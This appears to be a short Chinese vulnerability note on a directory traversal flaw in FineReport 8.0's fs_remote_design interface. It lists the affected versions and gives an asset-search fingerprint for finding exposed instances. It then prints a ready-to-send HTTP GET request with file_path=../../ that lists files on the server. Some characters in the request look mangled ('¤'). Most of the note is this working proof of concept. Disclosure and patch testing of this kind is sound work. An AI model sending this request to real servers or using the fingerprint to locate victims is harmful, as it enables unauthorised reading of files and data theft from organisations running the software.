帆软报表 V8 fs_remote_design目录遍历漏洞
一、漏洞简介
FineReport报表软件是一款纯Java编写的，集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具。FineReport 8.0版本存在目录遍历漏洞，攻击者可利用漏洞读取网站任意文件。
二、影响版本
- FineReport < v8.0
三、资产测绘
app="帆软-FineReport"
四、漏洞复现
GET /WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../../¤tUserName=admin¤tUserId=1&isWebReport=true HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 230